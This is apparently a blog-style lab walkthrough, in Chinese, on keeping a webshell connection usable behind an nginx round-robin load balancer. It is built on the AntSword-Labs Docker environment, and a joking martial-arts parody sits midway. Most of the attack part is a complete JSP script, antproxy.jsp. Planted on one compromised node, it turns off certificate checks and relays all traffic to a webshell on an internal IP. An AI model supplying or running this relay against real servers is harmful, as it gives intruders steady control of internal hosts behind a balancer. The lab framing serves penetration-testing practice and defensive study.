负载均衡下的webshell连接
Nginx的负载均衡
负载均衡(Load Balance) ,英文名称为Load Balance,其含义就是指将工作任务进行平衡、分摊到多个操作单元上进行运行,从而协同完成工作任务。
Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器。
nginx的负载均衡算法:
1、轮询(默认)
每个请求按照时间顺序逐一分配到笔筒的后端
2、weight
指定轮询几率,weight和访问比率成正比,用于后端服务器性能不均的情况下
3、ip_hash
每个请求按访问ip的hash结果分配,这样每个访客固定访问一个后端服务器,可以解决session保持的问题。
4、url_hash
可以依据页面大小和加载时间长短智能的进行负载均衡,也就是根据后端服务器的响应时间来分配请求。
5、least_conn
根据连接数分配。
6、fair (第三方)
根据响应时间分配。
实验环境
我们只能通过 nginx 这台机器访问,Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。
实验具体环境:
https://github.com/AntSwordProject/AntSword-Labs
环境搭建
systemctl start docker //启动docker
docker-compose build //建立环境
如图进行环境加载
启动环境
docker-compose up -d //环境启动
环境搭建成功如图所示:
查看docker-compose文件:
可知nginx的80端口被映射到主机的18080端口之上。
测试连接,使用浏览器打开显示如下:
Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。我们只能通过 nginx 这台机器访问。
在蚁剑中查看一句话木马(不间断的上传,保证每台服务器上都存在木马,前提是每台服务器配置相同,这是必然满足的,因为所处实验环境为负载均衡,不会存在进入一个页面后下一秒跳到下一个页面,如果这样,怀疑您中毒了,早日退出网站,不要访问了):
可以进行后门查看:
面临困难
1、我们需要在每一台节点的相同位置都上传相同内容的 WebShell
问题概述:注意环境为负载均衡(轮询):前提大环境为负载的服务器配置相同,所以说存在相同的漏洞,你就可以大胆的上传。如果不这样将导致某台服务器上不存在,那么在请求轮到这台机器上的时候,就会出现404错误,影响使用。最终出现现象为一会儿正常,一会儿错误。
解决方案:多传几次,第一次传到第一台机子上,第二次轮询这不就有了么。
环境模拟:删除掉其中以一台服务器的webshell。
(对的,你没有看错就是这么喜庆的报错,[访问失败])
2、命令执行时的漂移
还是得关注大环境,是轮询状态的负载均衡,你永远不知道命令在哪里执行(从下图可以看出还是有一点规律的),但是要是涉及到了别的指标,哈哈,祝你幸福!!!
3、上传工具等软件时遇到的问题
首先,当你要上传一个工具时,当然工具照片等大小取决于你喜欢大的还是小的,但是不论大的还是小的,再上传时,突然之间发现被轮询了,那么恭喜你中奖了,两个节点上,分别都存在各一半,如何组合取决于LBS算法。
4、内网穿透工具失效
由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。
漂移呀!!! 轮询呀!!! 这是致命问题,这个也是得向nginx中继代理服务器上传工具,这飘呀,完蛋了,这还渗透个啥内网,洗洗睡吧!
某某某武功法典:
炼丹服药,内外齐通。今练气之道,不外存想导引,渺渺太虚,天地分清浊而生人,人之练气,不外练虚灵而涤荡昏浊,气者命之主,形者体之用。天地可逆转,人亦有男女互化之道,此中之道,切切不可轻传。修炼此功,当先养心,令心不起杂念,超然于物外方可,若心存杂念,不但无功,反而有性命之忧。
此处进行轮询:
欲练神功,引刀自宫。
(打不过西厂厂工的原因你永远不知道!)
结局方案
1、关机
想去找西厂厂公问原因可以去试试以上操作。
2、使用脚本或者剧本去执行逻辑操作
具体思路:安装ifconfig,可以查询设备ip地址对应的设备是否为想要使用的设备,如果是去执行操作,不是就不去执行操作,等待下一次轮询。(shell脚本中的if …else…fi,语句即可实现)
3、终极解决方案
在Web 层做一次 HTTP 流量转发 ,AntSword 没法直接访问 LBSNode1 内网IP(172.18.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。
我们的目的是:所有的数据包都能发给「LBSNode 1」这台机器。(具体流程思路如下图所示,此图太过完美诠释,偷来用用)
具体操作:
(1)1.创建 antproxy.jsp 脚本
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.18.0.2:8080/ant.jsp"; //注意:此处IP地址为依据自身而决定
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
2、上传测试
此时,所有的流量都已经只转发到一台设备上,无须担心以上问题。
问题已经解决。